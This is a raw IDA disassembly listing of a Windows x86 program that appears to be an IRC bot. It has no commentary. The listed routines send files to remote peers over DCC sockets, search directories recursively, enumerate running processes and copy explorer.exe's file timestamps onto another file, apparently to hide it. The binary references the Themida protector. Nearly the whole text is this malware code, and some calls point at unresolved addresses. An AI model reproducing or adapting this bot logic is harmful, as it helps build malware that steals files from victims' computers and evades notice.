db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C440 proc near ; CODE XREF: sub_401BF9j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40C440
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 4
push 0Eh
push 5
push 13h
push 4Fh
push 3
push 3
lea eax, [esp+48h+var_24]
push 4
mov esi, ecx
push eax
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_40168B
add esi, 4
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
sub_40C440 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C4E0 proc near ; CODE XREF: sub_40171Cj
var_AB4 = dword ptr -0AB4h
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = byte ptr -0A9Ch
var_A98 = byte ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = dword ptr -0A90h
var_A8C = dword ptr -0A8Ch
var_A88 = dword ptr -0A88h
var_A84 = dword ptr -0A84h
var_A78 = byte ptr -0A78h
var_A74 = dword ptr -0A74h
var_A70 = byte ptr -0A70h
var_A6C = byte ptr -0A6Ch
var_A5C = byte ptr -0A5Ch
var_A54 = byte ptr -0A54h
var_A3C = byte ptr -0A3Ch
var_A38 = byte ptr -0A38h
var_A24 = byte ptr -0A24h
var_A1C = dword ptr -0A1Ch
var_A18 = dword ptr -0A18h
var_910 = byte ptr -910h
var_710 = byte ptr -710h
var_510 = byte ptr -510h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40C4E0
push eax
mov large fs:0, esp
sub esp, 0AA0h
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4014DD
mov ebp, [esp+0ABCh+arg_0]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40CA2E
lea ecx, [esp+0ABCh+var_A78]
call sub_401091
push 1
push offset asc_444600 ; " "
lea eax, [esp+0AC4h+var_A3C]
xor esi, esi
push 1
push eax
mov ecx, ebp
mov [esp+0ACCh+var_4], esi
call sub_4011EA
push eax
lea ecx, [esp+0AC0h+var_A70]
mov byte ptr [esp+0AC0h+var_4], 1
call sub_40202C
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
push esi
push 1
push 2
mov [esp+0AC8h+var_AA8], esi
mov [esp+0AC8h+var_AA4], esi
mov [esp+0AC8h+var_A90], esi
nop
call near ptr 71AB3B91h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [esp+0ABCh+var_AAC], ebx
jnz short loc_40C5AC
lea ecx, [esp+0ABCh+var_710]
push offset aDccFailedToCre ; "[DCC]: Failed to create socket."
push ecx
nop
call sub_5F76F7
add esp, 8
jmp loc_40C9D5
; ---------------------------------------------------------------------------
loc_40C5AC: ; CODE XREF: sub_40C4E0+AFj
xor edx, edx
push esi
mov [esp+0AC0h+var_AA0], edx
mov word ptr [esp+0AC0h+var_AA0], 2
mov dword ptr [esp+0AC0h+var_A9C], edx
mov dword ptr [esp+0AC0h+var_A98], edx
mov [esp+0AC0h+var_A94], edx
nop
call near ptr 71AB2B66h
mov word ptr [esp+0ABCh+var_AA0+2], ax
lea eax, [esp+0ABCh+var_AA0]
push 10h
push eax
push ebx
mov dword ptr [esp+0AC8h+var_A9C], esi
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_40C5FA
lea ecx, [ebp+69h]
call sub_4014DD
push eax
push offset aDccFailedToBin ; "dcc: failed to bind socket"
jmp loc_40C6A0
; ---------------------------------------------------------------------------
loc_40C5FA: ; CODE XREF: sub_40C4E0+105j
lea eax, [esp+0ABCh+var_A88]
lea ecx, [esp+0ABCh+var_AA0]
push eax
push ecx
push ebx
mov [esp+0AC8h+var_A88], 10h
nop
call near ptr 71AB951Eh
mov edx, [esp+0ABCh+var_AA0+2]
push edx
call near ptr 71AB2B66h
nop
lea ecx, [esp+0ABCh+var_A70]
mov [esp+0ABCh+var_A8C], eax
call sub_4014DD
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+0ABCh+var_910]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
xor edx, edx
rep movsb
loc_40C653: ; CODE XREF: sub_40C4E0+1A3j
mov al, [esp+edx+0ABCh+var_910]
cmp al, 20h
jnz short loc_40C665
mov eax, 5Fh
jmp short loc_40C668
; ---------------------------------------------------------------------------
loc_40C665: ; CODE XREF: sub_40C4E0+17Cj
movsx eax, al
loc_40C668: ; CODE XREF: sub_40C4E0+183j
mov [esp+edx+0ABCh+var_510], al
lea edi, [esp+0ABCh+var_910]
or ecx, 0FFFFFFFFh
xor eax, eax
inc edx
repne scasb
not ecx
dec ecx
cmp edx, ecx
jbe short loc_40C653
push 1
push ebx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_40C6BD
lea ecx, [ebp+69h]
call sub_4014DD
push eax
push offset aDccFailedToOpe ; "dcc: failed to open socket"
loc_40C6A0: ; CODE XREF: sub_40C4E0+115j
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
jmp loc_40C9CF
; ---------------------------------------------------------------------------
loc_40C6BD: ; CODE XREF: sub_40C4E0+1B0j
push 0
push 0
push 3
push 0
push 1
push 80000000h
lea ecx, [esp+0AD4h+var_A70]
call sub_4017EE
push eax
nop
call near ptr 2880000h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C724
lea ecx, [ebp+69h]
call sub_4014DD
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccFileDoesnTE ; "dcc: file doesn't exist"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
lea edx, [esp+0ABCh+var_710]
push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
push edx
nop
call sub_5F76F7
add esp, 8
jmp loc_40C9CF
; ---------------------------------------------------------------------------
loc_40C724: ; CODE XREF: sub_40C4E0+201j
push 0
push esi
nop
call near ptr 2870C69h
lea ecx, [esp+0ABCh+var_A54]
mov ebx, eax
call sub_40142E
mov eax, [esp+0ABCh+var_A8C]
push ebx
and eax, 0FFFFh
mov byte ptr [esp+0AC0h+var_4], 2
push eax
mov eax, dword_4D808D
push eax
call sub_401E10
add esp, 4
push eax
call near ptr 71AB2BF4h
nop
push eax
nop
call near ptr 71AB2BC0h
push eax
lea ecx, [esp+0AD0h+var_A78]
call sub_4017EE
push eax
lea ecx, [esp+0AD4h+var_A5C]
push offset dword_444A00
push ecx
call sub_40102D
add esp, 18h
lea ecx, [ebp+15h]
call sub_40168B
push eax
lea ecx, [esp+0AC8h+var_A5C]
call sub_4014DD
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
mov edi, [esp+0AC4h+var_AB4]
lea ecx, [esp+0AC4h+var_A88]
push ecx
push 0
lea edx, [esp+0ACCh+var_A1C]
push 0
push edx
push 0
mov [esp+0AD8h+var_A88], 3Ch
mov [esp+0AD8h+var_A84], 0
mov [esp+0AD8h+var_A18], edi
mov [esp+0AD8h+var_A1C], 1
nop
call near ptr 71AB2DC0h
test eax, eax
jg short loc_40C81D
lea ecx, [ebp+69h]
call sub_4014DD
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccTimeout ; "dcc: timeout"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
jmp loc_40C9BA
; ---------------------------------------------------------------------------
loc_40C81D: ; CODE XREF: sub_40C4E0+310j
lea edx, [esp+0ABCh+var_A84]
lea eax, [esp+0ABCh+var_A24]
push edx
push eax
push edi
mov [esp+0AC8h+var_A84], 10h
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
mov [esp+0ABCh+var_A74], eax
jnz short loc_40C86D
lea ecx, [ebp+69h]
call sub_4014DD
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push offset aDccUnableToOpe ; "dcc: unable to open socket"
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
jmp loc_40C9BA
; ---------------------------------------------------------------------------
loc_40C86D: ; CODE XREF: sub_40C4E0+360j
push edi
call near ptr 71AB9639h
nop
test ebx, ebx
jz loc_40C925
loc_40C87C: ; CODE XREF: sub_40C4E0+438j
mov ebp, 400h
cmp ebx, ebp
jge short loc_40C887
mov ebp, ebx
loc_40C887: ; CODE XREF: sub_40C4E0+3A3j
mov edx, ebx
xor eax, eax
neg edx
push 2
mov ecx, 100h
lea edi, [esp+0AC0h+var_40C]
push eax
push edx
push esi
rep stosd
call near ptr 2870000h
nop
lea eax, [esp+0ABCh+var_A90]
push 0
push eax
lea ecx, [esp+0AC4h+var_40C]
push ebp
push ecx
push esi
nop
call near ptr 2860000h
mov eax, [esp+0ABCh+var_A74]
push 0
lea edx, [esp+0AC0h+var_40C]
push ebp
push edx
push eax
nop
call near ptr 71AB428Ah
mov ecx, [esp+0ABCh+var_AA8]
mov ebp, [esp+0ABCh+var_AA4]
mov edi, eax
push 0
cdq
add ecx, eax
push 400h
mov [esp+0AC4h+var_AA8], ecx
lea ecx, [esp+0AC4h+var_40C]
adc ebp, edx
mov edx, [esp+0AC4h+var_A74]
push ecx
push edx
mov [esp+0ACCh+var_AA4], ebp
nop
call near ptr 71AB615Ah
cmp eax, 1
jl loc_40C9EE
cmp edi, 1
jl loc_40C9EE
sub ebx, edi
jnz loc_40C87C
mov ebp, [esp+0ABCh+arg_0]
loc_40C925: ; CODE XREF: sub_40C4E0+396j
push esi
nop
call near ptr 2850BF4h
lea ecx, [esp+0AB8h+var_A38]
call sub_40142E
mov eax, [esp+0AB8h+var_AA0]
mov ecx, [esp+0AB8h+var_AA4]
push eax
push ecx
lea ecx, [esp+0AC0h+var_A6C]
mov byte ptr [esp+0AC0h], 3
call sub_4014DD
mov edx, [esp+0AC0h+var_A1C]
push eax
push edx
nop
call near ptr 71AB3F41h
push eax
lea eax, [esp+0ACCh+var_A3C]
push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"...
push eax
call sub_40102D
add esp, 18h
lea ecx, [ebp+69h]
call sub_4014DD
push eax
lea ecx, [esp+0AC0h+var_A3C]
call sub_4014DD
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 2
call sub_401226
loc_40C9BA: ; CODE XREF: sub_40C4E0+338j
; sub_40C4E0+388j
lea ecx, [esp+0ABCh+var_A54]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
mov ebx, [esp+0ABCh+var_AAC]
loc_40C9CF: ; CODE XREF: sub_40C4E0+1D8j
; sub_40C4E0+23Fj
xor esi, esi
cmp ebx, esi
jbe short loc_40C9DC
loc_40C9D5: ; CODE XREF: sub_40C4E0+C7j
push ebx
nop
call near ptr 71AB9639h
loc_40C9DC: ; CODE XREF: sub_40C4E0+4F3j
mov eax, [esp+0ABCh+var_A74]
push eax
nop
call near ptr 71AB9639h
push esi
nop
call near ptr 2850505h
loc_40C9EE: ; CODE XREF: sub_40C4E0+427j
; sub_40C4E0+430j
mov esi, [esp+0ABCh+arg_0]
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aDccSocketError ; "dcc: socket error"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
mov edx, [esp+0ABCh+var_A74]
push edx
call near ptr 71AB9639h
nop
push 1
call near ptr 2850505h
nop
loc_40CA2E: ; CODE XREF: sub_40C4E0+39j
mov ecx, [esp+0ABCh+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 0AACh
retn 4
sub_40C4E0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CBB0 proc near ; CODE XREF: sub_401091j
push esi
mov esi, ecx
lea ecx, [esi+8]
call sub_40142E
mov eax, esi
pop esi
retn
sub_40CBB0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CBD0: ; CODE XREF: ___:loc_401B13j
add ecx, 8
jmp sub_401226
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40CBF0 proc near ; CODE XREF: sub_402063j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CBF0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 0Ch
push 9
lea eax, [esp+38h+var_24]
push 6
mov esi, ecx
push eax
loc_40CC1A: ; DATA XREF: Themida_:00594228o
call sub_4019C4
add esp, 18h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
sub_40CBF0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CC90 proc near ; CODE XREF: sub_401BB8j
var_279 = byte ptr -279h
var_278 = byte ptr -278h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = byte ptr -258h
var_247 = byte ptr -247h
var_232 = byte ptr -232h
var_221 = dword ptr -221h
var_21D = dword ptr -21Dh
var_219 = dword ptr -219h
var_215 = dword ptr -215h
var_211 = dword ptr -211h
var_20C = byte ptr -20Ch
var_208 = byte ptr -208h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40CC90
push eax
mov large fs:0, esp
sub esp, 270h
add ecx, 4
push esi
call sub_4014DD
mov esi, [esp+280h+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40CE91
push ebx
lea ecx, [esp+284h+var_260]
call sub_40199C
lea eax, [esi+2Ah]
xor ebx, ebx
push eax
lea ecx, [esp+288h+var_25C]
mov [esp+288h+var_4], ebx
mov [esp+288h+var_260], ebx
call sub_40202C
push 1
push offset asc_444600 ; " "
lea ecx, [esp+28Ch+var_278]
push 2
push ecx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+288h+var_247]
call sub_401A9B
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
push 1
push offset asc_444600 ; " "
lea edx, [esp+28Ch+var_278]
push 3
push edx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 2
call sub_4017EE
push eax
lea ecx, [esp+288h+var_232]
call sub_401A9B
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
mov edx, [esp+284h+var_221]
xor eax, eax
mov al, [esi+94h]
xor ecx, ecx
mov cl, [esi+93h]
mov [esp+284h+var_219], eax
lea eax, [esp+284h+var_278]
mov [esp+284h+var_215], ecx
push edx
push eax
lea ecx, [esp+28Ch+var_232]
mov [esp+28Ch+var_21D], ebx
mov [esp+28Ch+var_211], 1
call sub_401E47
push offset asc_444AD4 ; "\\"
mov ecx, eax
mov byte ptr [esp+288h+var_4], 3
call sub_4012EE
test eax, eax
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
setz [esp+284h+var_279]
call sub_401226
cmp [esp+284h+var_279], bl
jz short loc_40CE0B
mov ecx, [esp+284h+var_221]
lea edx, [esp+284h+var_278]
push ecx
push edx
lea ecx, [esp+28Ch+var_232]
call sub_401E47
push offset dword_448F34
mov ecx, eax
mov byte ptr [esp+288h+var_4], 4
call sub_401A9B
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
loc_40CE0B: ; CODE XREF: sub_40CC90+142j
push ebx
lea ecx, [esp+288h+var_232]
call sub_4014DD
push eax
lea ecx, [esp+28Ch+var_247]
call sub_4014DD
push eax
mov eax, [esp+290h+var_219]
push eax
lea ecx, [esp+294h+var_25C]
call sub_40168B
mov ecx, [esp+294h+var_260]
push eax
push ecx
call sub_40227A
push eax
lea edx, [esp+2A0h+var_20C]
push offset aFilesFoundD ; "Files Found: %d"
push edx
nop
call sub_5F76F7
mov eax, [esp+2A4h+var_211]
add esp, 24h
cmp eax, ebx
jnz short loc_40CE7C
mov eax, [esp+280h+var_215]
lea ecx, [esp+280h+var_208]
push eax
push ecx
lea ecx, [esp+288h+var_258]
call sub_40168B
mov edx, [esp+288h+var_25C]
push eax
push edx
call sub_40152D
add esp, 10h
loc_40CE7C: ; CODE XREF: sub_40CC90+1C9j
mov eax, [esp+280h+var_219]
push eax
call sub_401E3D
add esp, 4
push ebx
nop
call near ptr 2850505h
pop ebx
loc_40CE91: ; CODE XREF: sub_40CC90+36j
mov ecx, [esp+280h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 27Ch
retn 4
sub_40CC90 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CF40 proc near ; CODE XREF: sub_40199Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CF40
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_40142E
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_40CF40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CFC0: ; CODE XREF: ___:loc_40228Ej
push 0FFFFFFFFh
push offset loc_43A086
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+2Eh]
mov dword ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+10h], 0
call sub_401226
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40D040 proc near ; CODE XREF: sub_40227Aj
var_548 = byte ptr -548h
var_51C = byte ptr -51Ch
var_51B = byte ptr -51Bh
var_408 = byte ptr -408h
var_304 = byte ptr -304h
var_200 = byte ptr -200h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
sub esp, 548h
lea eax, [esp+548h+var_408]
push ebx
push ebp
push esi
mov esi, [esp+554h+arg_10]
push edi
mov edi, dword_511AE4
push esi
push offset aS_1 ; "%s\\*"
push 104h
push eax
call edi ; _snprintf
add esp, 10h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
nop
call near ptr 28A0000h
mov ebp, [esp+558h+arg_14]
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D107
loc_40D090: ; CODE XREF: sub_40D040+C5j
test [esp+558h+var_548], 10h
jz short loc_40D0F7
cmp [esp+558h+var_51C], 2Eh
jnz short loc_40D0AA
mov al, [esp+558h+var_51B]
test al, al
jz short loc_40D0F7
cmp al, 2Eh
jz short loc_40D0F7
loc_40D0AA: ; CODE XREF: sub_40D040+5Cj
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_304]
push eax
push esi
push offset dword_444684
push 104h
push ecx
call edi ; _snprintf
mov eax, [esp+56Ch+arg_C]
mov ecx, [esp+56Ch+arg_8]
lea edx, [esp+56Ch+var_304]
push ebp
push edx
mov edx, [esp+574h+arg_4]
push eax
mov eax, [esp+578h+arg_0]
push ecx
push edx
push eax
call sub_40227A
add esp, 2Ch
mov ebp, eax
loc_40D0F7: ; CODE XREF: sub_40D040+55j
; sub_40D040+64j ...
lea ecx, [esp+558h+var_548]
push ecx
push ebx
nop
call near ptr 2890000h
test eax, eax
jnz short loc_40D090
loc_40D107: ; CODE XREF: sub_40D040+4Ej
push ebx
call near ptr 288033Bh
nop
mov edx, [esp+558h+arg_C]
lea eax, [esp+558h+var_408]
push edx
push esi
push offset dword_444684
push 104h
push eax
call edi ; _snprintf
add esp, 14h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
nop
call near ptr 28A0000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D19B
loc_40D148: ; CODE XREF: sub_40D040+159j
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_200]
push eax
push esi
push offset aFoundSS ; "Found: %s\\%s"
push 200h
push ecx
inc ebp
call edi ; _snprintf
mov edx, [esp+56Ch+arg_8]
mov ecx, [esp+56Ch+arg_4]
lea eax, [esp+56Ch+var_200]
push edx
mov edx, [esp+570h+arg_0]
push eax
push ecx
push edx
call sub_40152D
add esp, 24h
lea eax, [esp+558h+var_548]
push eax
push ebx
nop
call near ptr 2890000h
test eax, eax
jnz short loc_40D148
loc_40D19B: ; CODE XREF: sub_40D040+106j
push ebx
nop
call near ptr 288033Bh
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 548h
retn
sub_40D040 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D210 proc near ; CODE XREF: sub_40104Bj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40D210
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 4
push 4
push 1
push 13h
lea eax, [esp+58h+var_3C]
push 1
mov esi, ecx
push eax
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+19h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_40D210 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 13h
lea edx, [esp+1Ch]
push 1
push edx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+47h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 4
push 1
push 3
push 16h
lea ecx, [esp+20h]
push 13h
push ecx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+75h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 3
push 16h
push 13h
lea eax, [esp+3Ch]
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
add esi, 0A3h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D3C0: ; CODE XREF: ___:004013CFj
sub esp, 104h
lea eax, [esp+0]
push 104h
push eax
push 0
call near ptr 28A1CCEh
nop
push eax
nop
call near ptr 28A1273h
mov eax, dword_449070
test eax, eax
jz loc_40D4E3
mov ecx, dword_44906C
test ecx, ecx
jz loc_40D4E3
mov ecx, dword_448F38
test ecx, ecx
jz loc_40D4E3
push 0
push 2
call eax ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov dword_449068, eax
jz loc_40D4E3
push ebp
push offset dword_448F40
push eax
xor ebp, ebp
mov dword_448F40, 128h
call dword_44906C ; Process32First
test eax, eax
jz loc_40D4CC
push ebx
mov ebx, [esp+110h]
push esi
mov esi, dword_511AE0
push edi
loc_40D44D: ; CODE XREF: ___:0040D4C7j
mov edi, offset dword_448F64
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+10h]
repne scasb
not ecx
dec ecx
mov edi, offset dword_448F64
push ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+14h]
sub edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push offset dword_448F64
add edx, ecx
push edx
call esi ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_40D4B3
mov edi, offset dword_448F64
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push offset dword_448F64
mov ecx, ebx
call sub_40168B
push eax
call esi ; strncmp
add esp, 0Ch
test eax, eax
jnz short loc_40D4B4
loc_40D4B3: ; CODE XREF: ___:0040D48Bj
inc ebp
loc_40D4B4: ; CODE XREF: ___:0040D4B1j
mov eax, dword_449068
push offset dword_448F40
push eax
call dword_448F38 ; Process32Next
test eax, eax
jnz short loc_40D44D
pop edi
pop esi
pop ebx
loc_40D4CC: ; CODE XREF: ___:0040D437j
mov ecx, dword_449068
push ecx
call near ptr 2850BF4h
nop
mov eax, ebp
pop ebp
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_40D4E3: ; CODE XREF: ___:0040D3E6j
; ___:0040D3F4j ...
xor eax, eax
add esp, 104h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D540: ; CODE XREF: ___:00401FAFj
sub esp, 11Ch
lea eax, [esp+18h]
push ebx
push esi
push edi
push 104h
push eax
call near ptr 28B0DC4h
nop
mov edi, offset aExplorer_exe ; "\\explorer.exe"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+24h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
push 80h
and ecx, 3
push 3
push eax
push 1
rep movsb
mov edi, dword_5118F0
lea eax, [esp+38h]
push 80000000h
push eax
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D606
lea ecx, [esp+1Ch]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+18h]
push edx
push eax
push esi
call near ptr 28B0717h
nop
mov ebx, dword_5118E0
push esi
call ebx
mov ecx, [esp+12Ch]
push 0
push 80h
push 3
push 0
push 2
push 40000000h
push ecx
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D606
lea edx, [esp+1Ch]
lea eax, [esp+0Ch]
push edx
lea ecx, [esp+18h]
push eax
push ecx
push esi
call near ptr 28B0000h
nop
push esi
call ebx
loc_40D606: ; CODE XREF: ___:0040D5A9j
; ___:0040D5EBj
pop edi
pop esi
pop ebx
add esp, 11Ch
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D660 proc near ; CODE XREF: sub_401B6Dj
var_19C = byte ptr -19Ch
var_184 = byte ptr -184h
var_16C = byte ptr -16Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40D660
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 190h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+1A8h+var_16C]
call sub_40142E
push 104h
push 104h
lea ecx, [esp+1B0h+var_16C]
mov [esp+1B0h+var_4], 0
call sub_401C71
push eax
call near ptr 2800000h
nop
lea ecx, [esp+1A8h+var_16C]
call sub_4017EE
push eax
lea ecx, [esi+4]
call sub_4015E1
lea ecx, [esp+1A8h+var_184]
call sub_40142E
mov ebx, 1
push 104h
push 104h
lea ecx, [esp+1B0h+var_184]
mov byte ptr [esp+1B0h+var_4], bl
call sub_401C71
